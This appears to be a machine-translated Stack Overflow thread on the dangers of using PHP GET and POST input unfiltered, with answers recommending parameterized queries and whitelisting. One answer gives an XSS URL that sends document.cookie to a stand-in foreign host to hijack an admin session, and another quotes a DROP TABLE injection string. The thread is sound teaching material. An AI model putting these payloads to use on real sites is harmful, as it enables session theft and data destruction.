直接使用GET和POST有哪些漏洞?

时间:2009-08-19 18:40:55

标签: php security post get

我想直接使用GET和POST变量时知道哪些漏洞。 即带有修剪和添加滑动功能和mysql转义字符串之类的东西。

我的问题是

在玩GET和POST时我们还需要处理

像SQL注入一样有什么样的攻击

8 个答案:

答案 0 :(得分:15)

一般而言,不仅限于GET和POST,还包括来自系统外部的任何数据(包括网络应用程序中的Cookie):

几乎所有漏洞都归结为“用户可以在将输入传递给上下文的上下文中运行他们喜欢的任何代码。”

  • 如果将其传递给SQL数据库,他们可以运行他们喜欢的任何SQL。
  • 如果您将其传递给HTML文档,他们可以添加他们喜欢的任何标记(包括JavaScript)
  • 如果将其传递给系统shell,则可以运行他们喜欢的任何系统命令。
  • 如果您使用他们选择的名称打开文件,他们可以打开他们喜欢的任何文件。 等

您需要考虑您对数据的处理方式。在接受世界上任何系统的污染输入时,寻找可能出错的可能事项列表并不会产生详尽的清单。

顺便说一句:忘记addslashes(它没有效果),忘记mysql_real_escape(它很容易犯错误)。使用参数化查询:How can I prevent SQL injection in PHP?

答案 1 :(得分:5)

使用一点点社交工程最容易进行XSS攻击

让我们假设您有一个简单的PHP应用程序,它使用会话来跟踪用户。它有一些管理界面,具有较高权限的用户可以说编辑内容。

并且,假设您以该网站的管理员身份登录,并且该应用程序内部有一个文件request.php,其中包含以下代码

echo $GET['action'];

现在有人发现了这一点,构建了以下网址http://yourapp/request.php?action= document.location.href ='http://foreignsite?c='+ document.cookie

然后有人将这个网址添加到tinyurl.com,将其缩短为类似http://tinyurl.com/x44534的内容,然后他给你发了一封电子邮件,说“嘿,看看这个,你发现它很有用”。

你点击链接,tinyurl.com将短网址翻译成长网页,将你的浏览器重定向到它,你的request.php愉快地输出查询中的Javascript,浏览器看到它,执行它,结果,运行http://foreignsite的人获取所有Cookie。

然后他只需要将这些cookie值插入他的浏览器,瞧,他可以即时访问您的站点管理界面。因为他得到了你的会话cookie。

这描述了最简单的XSS攻击,它真的很简单,可能在现实生活中不起作用,但希望你有基本的想法它是如何工作的。

答案 2 :(得分:1)

如果您使用任何GET或POST变量并有效地“执行”它,而不通过某些类型的过滤器,那么您就是在接受注入攻击。 SQL注入显然是一种非常常见的情况,但如果您正在使用该数据执行任何类型的eval()(使用编程语言,或任何其他数据库或解释的情况 - 包括将HTML传递回浏览器以进行解释在客户端上)然后知识渊博的攻击者可以制作输入数据,使你的应用程序做出无意的事情。

答案 3 :(得分:1)

正如人们已经写过的那样,任何和所有用户输入都应被视为恶意,无论您的安全感如何。

开发人员考虑在编写代码时以及在进行修改时保护代码,而黑客则会在他们决定对代码进行破解时考虑搞乱代码,这可能是今天,明天或两个年份。在编写代码时,看起来非常安全的东西可能会在以后的某些时候被利用。

基本上,无论在任何给定时间使用什么,所有输入都应该被过滤,检查和消毒。有人可能会跳过对一个用户输入进行消毒,因为“它不会被用于任何可能造成伤害的事情”,然后在11个月后,团队中的某个人决定使用已分配给变量的假定消毒数据,在SQL查询或系统执行调用中,整个系统都会崩溃。

应该做什么:

白名单而不是黑名单    - 了解您期望的输入类型并相应地转换用户数据,ID通常是整数,因此将所有用户提交的ID转换为整数是安全的。    - 知道什么时候你期待少量的数据,当你期待大的时候。个人姓名通常相对较短且不包含数字,“1”; DROP TABLE客户;不是真正的名字,你可以知道,不添加斜杠。

然后黑名单以防万一    - 将标准转义逻辑应用于通过白名单制作的所有数据,以防万一

然后过滤并检查更多    - 直到你感到安全

答案 4 :(得分:0)

答案 5 :(得分:0)

它延伸到不仅仅是“获取”或“发布”。它完全依赖于你为支持它们所做的编程。如果您只是提供静态html页面,而不是很多漏洞。另一方面,如果您通过获取请求设置和修改数据,则漏洞可能是无穷无尽的,只需查看谷歌机器人从使用“获取”提交内容的地方清除数据的情况。

这完全取决于您使用的数据,并且限制获取或设置漏洞。消除您的输入。

答案 6 :(得分:0)

GET和POST数据是直接从用户发送的数据。你得到它是原始的,没有用户和你的程序之间的检查或验证。即使您要验证应该生成数据的表单,攻击者也可以使用他想要的任何数据手动创建请求。因此,您必须始终将请求数据视为不受信任的用户输入。

有许多攻击依赖于编码器忘记请求数据是不值得信任的,但最着名的是SQL注入。 SQL注入的根本原因是通过手动连接字符串来构建查询,其中一些字符串是不受信任的用户输入。这意味着您要告诉数据库执行不受信任的用户输入。

SQL注入的天真解决方案是验证输入,然后将它们连接成一个查询字符串,但这种形式也很糟糕。你依靠你的验证逻辑来​​使字符串安全,如果你误用它 - 或者逻辑是错误的 - 那么你再次遭受攻击。

正确的解决方案是将查询与其包含的数据分开。实际上所有的数据库适配器都支持这种方法,如果你的方法不是出于某些原因,它就不适合使用。最常见的习语是(没有特定的语言):

myDB.query(“select * from Stuff where id =?”,[42]);

这将保证(在这样的系统中)不执行参数。查询字符串由完全受信任的数据构建,而不受信任的数据则是隔离的。在最坏的情况下,这种适用于不正确输入的方法可能导致数据不正确,而不是错误的命令。

这种避免SQL注入的方法突出了适用于各种请求数据攻击的核心原则:请求数据不是你的,而且不安全。处理任何用户输入(包括请求数据)时,始终假定它来自对您的系统有深入了解的攻击者。它可能看起来很偏执,但它会让你安全。

答案 7 :(得分:0)

所有超级全球都可以由用户代理操纵。 $ _SERVER,$ _POST,$ _GET等